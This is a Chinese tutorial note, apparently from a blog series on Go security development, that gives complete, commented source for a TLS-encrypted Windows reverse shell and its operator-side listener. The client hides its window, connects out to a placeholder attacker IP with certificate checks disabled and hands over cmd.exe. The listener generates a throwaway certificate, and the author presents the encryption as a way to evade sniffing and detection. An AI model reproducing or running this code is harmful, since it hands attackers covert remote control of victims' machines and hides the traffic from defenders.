Go语言安全开发学习笔记3:TLS加密反弹Shell 原理与落地实现

一、前言回顾

上一篇完成了明文TCP反弹Shell的编写、主机上线与流量排查,核心痛点在于:流量全程明文传输,极易被捕获、解析和检测,无任何安全性可言。

二、本篇学习目标

将基础的明文TCP反弹Shell升级为TLS加密版反弹Shell,实现流量加密传输;同时解决协议兼容问题:nc仅支持明文监听,无法处理TLS协议握手,因此需在服务端编写专用的TLS加密监听脚本。

知识点:TLS协议强制要求服务端配置证书(客户端可跳过证书验证),本实验通过代码自动生成临时自签名证书。

三、TLS加密反弹shell代码

Go 复制代码
// 声明主包,Go程序的入口包
package main

// 导入依赖包
import (
	"crypto/tls"       // TLS加密通信库,用于和服务端建立加密连接
	"os/exec"          // 执行系统命令库,用于启动Windows命令行(cmd)
	"syscall"          // 系统调用库,用于设置Windows窗口隐藏属性
)

// 程序主入口函数
func main() {
	// 定义Windows系统进程属性:隐藏黑窗口(不显示cmd控制台界面)
	syscallAttr := &syscall.SysProcAttr{HideWindow: true}

	// 配置TLS连接:跳过证书验证(适配服务端无证书的场景,必须加否则连接失败)
	tlsConfig := &tls.Config{InsecureSkipVerify: true}

	// 主动发起TLS加密连接,连接服务端的IP:3061端口
	// conn:建立好的加密连接对象,err:连接错误信息
	conn, err := tls.Dial("tcp", "服务端ip:3061", tlsConfig)
	// 如果连接失败(服务端未启动/网络不通),直接退出程序
	if err != nil {
		return
	}
	// 程序退出时,自动关闭TLS连接(释放资源)
	defer conn.Close()

	// 创建Windows命令行进程:启动cmd.exe
	// /q /k:静默启动cmd,保持命令行窗口不关闭
	cmd := exec.Command("cmd.exe", "/q", "/k")

	// 给cmd进程绑定系统属性:隐藏黑窗口
	cmd.SysProcAttr = syscallAttr

	// 核心:重定向cmd的输入/输出/错误流到TLS加密连接
	// 服务端发送的命令 -> 作为cmd的输入
	cmd.Stdin = conn
	// cmd执行的结果 -> 通过加密连接返回给服务端
	cmd.Stdout = conn
	// cmd执行的错误信息 -> 通过加密连接返回给服务端
	cmd.Stderr = conn

	// 启动并等待cmd进程执行完毕(忽略错误,不做处理)
	_ = cmd.Run()
}

四、服务端监听脚本

Go 复制代码
// 声明程序入口包,main包是Go可执行程序的固定包名
package main

// 导入程序所需的所有依赖库
import (
	"crypto/ecdsa"           // ECDSA非对称加密算法,用于生成TLS私钥
	"crypto/elliptic"        // 椭圆曲线加密,配合ECDSA生成密钥
	"crypto/rand"            // 安全随机数生成器,用于加密证书
	"crypto/tls"             // TLS加密通信核心库,实现加密网络监听
	"crypto/x509"            // X.509数字证书标准,用于生成TLS证书
	"crypto/x509/pkix"       // X.509证书的主体信息结构
	"io"                     // 输入输出流,用于实现数据双向转发
	"log"                    // 日志打印,用于输出程序运行状态
	"math/big"               // 大整数,用于生成证书序列号
	"os"                     // 系统标准输入输出,用于接收命令、打印结果
	"time"                   // 时间库,用于设置证书有效期
)

// generateTempCertificate 生成【临时自签名TLS证书】
// 作用:无需证书文件,程序运行时自动生成,解决TLS服务端必须有证书的问题
func generateTempCertificate() tls.Certificate {
	// 1. 生成ECDSA私钥(使用P256椭圆曲线,安全且通用)
	priv, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
	if err != nil {
		log.Fatal("私钥生成失败:", err) // 生成失败直接退出程序
	}

	// 2. 创建X.509证书模板(定义证书的所有属性)
	template := x509.Certificate{
		SerialNumber: big.NewInt(1), // 证书序列号(固定为1,临时证书无需唯一)
		Subject: pkix.Name{          // 证书主体信息
			Organization: []string{"Temp"}, // 组织名称(临时证书,随意填写)
		},
		NotBefore:    time.Now(),                // 证书生效时间:当前时间
		NotAfter:     time.Now().Add(24 * time.Hour), // 证书过期时间:24小时后
		KeyUsage:     x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, // 证书用途:加密、签名
		ExtKeyUsage:  []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, // 扩展用途:服务端认证
		BasicConstraintsValid: true, // 启用基础约束
	}

	// 3. 根据模板生成证书数据(自签名:自己签发自己)
	derBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv)
	if err != nil {
		log.Fatal("证书生成失败:", err) // 生成失败直接退出程序
	}

	// 4. 组装并返回TLS证书(包含证书数据 + 私钥)
	return tls.Certificate{
		Certificate: [][]byte{derBytes}, // 证书内容
		PrivateKey:  priv,               // 证书私钥
	}
}

// main 程序主入口函数
func main() {
	// 配置TLS加密参数:加载自动生成的临时证书
	tlsConfig := &tls.Config{
		Certificates: []tls.Certificate{generateTempCertificate()}, // 绑定自签名证书
	}

	// 启动TLS加密监听服务
	// 监听协议:tcp,监听地址:0.0.0.0:3061(所有网卡的3061端口)
	listener, err := tls.Listen("tcp", "0.0.0.0:3061", tlsConfig)
	if err != nil {
		log.Fatal("服务端启动失败:", err) // 启动失败(端口被占/权限不足),直接退出
	}
	defer listener.Close() // 程序退出时,自动关闭监听端口(释放资源)

	// 打印服务端启动成功日志
	log.Println("✅ TLS加密服务端启动成功,等待主机上线...")

	// 无限循环:持续等待客户端连接
	for {
		// 阻塞等待客户端发起连接
		// conn:客户端连接对象(通信通道),err:连接错误信息
		conn, err := listener.Accept()
		if err != nil {
			continue // 连接出错(网络波动),跳过本次循环,继续等待新连接
		}

		// 打印客户端上线信息(IP+端口)
		log.Printf("🚀 主机已上线:%s\n", conn.RemoteAddr())

		// ==================== 核心:双向命令转发 ====================
		// 协程异步转发:服务端控制台输入的命令 → 发送给客户端
		go io.Copy(conn, os.Stdin)
		// 同步转发:客户端执行的结果 → 打印到服务端控制台
		io.Copy(os.Stdout, conn)
		// ==========================================================

		// 客户端断开连接后,打印提示日志
		log.Println("⚠️ 主机已断开连接,继续等待...")
		conn.Close() // 关闭客户端连接
	}
}

五、客户端运行反弹shell,服务端运行加密监听,成功上线

六、在wirrshark中对流量进行分析,发现数据被加密

七、小结

  1. 成功将明文TCP Shell升级为TLS加密Shell,实现流量防嗅探、防解析;

  2. 开始实现服务端的监听优化;

相关推荐
Chengbei113 小时前
AI 自动逆向 JS 加密!自动抓密钥、出报告,彻底解放双手,解决抓包数据包加密难题
开发语言·javascript·人工智能·安全·网络安全·网络攻击模型
Z1eaf_complete5 小时前
文件上传漏洞绕过方法
安全·网络安全
白帽黑客-晨哥5 小时前
CTF保姆级教程:从零基础到参赛拿奖,2026年最全指南!
网络安全·渗透测试·ctf比赛·网络安全大赛
~央千澈~5 小时前
《卓伊凡 · 网络安全研究室》之从网络安全角度看:为什么“养虾”其实是一种极其危险的行为
网络安全·养虾·肉鸡
乾元8 小时前
红队测试:如何对大模型进行系统性的安全红队评估
运维·网络·人工智能·神经网络·安全·网络安全·安全架构
观书喜夜长9 小时前
SQLMap 入门实战指南:原理、命令详解与防御(攻防世界-inget)
学习·web安全·网络安全
文刀竹肃10 小时前
SQLi-Labs Less-1 通关教程
安全·web安全·网络安全
一只鼠标猴20 小时前
甲方边界安全:WAF+防火墙 + 抗 DDoS 联合防护落地方案
安全·网络安全·安全架构·防火墙·waf·边界安全
网云工程师手记1 天前
企业多出口负载与故障切换实战:4 种调度模式 + 主备线路高可用
运维·服务器·网络·安全·网络安全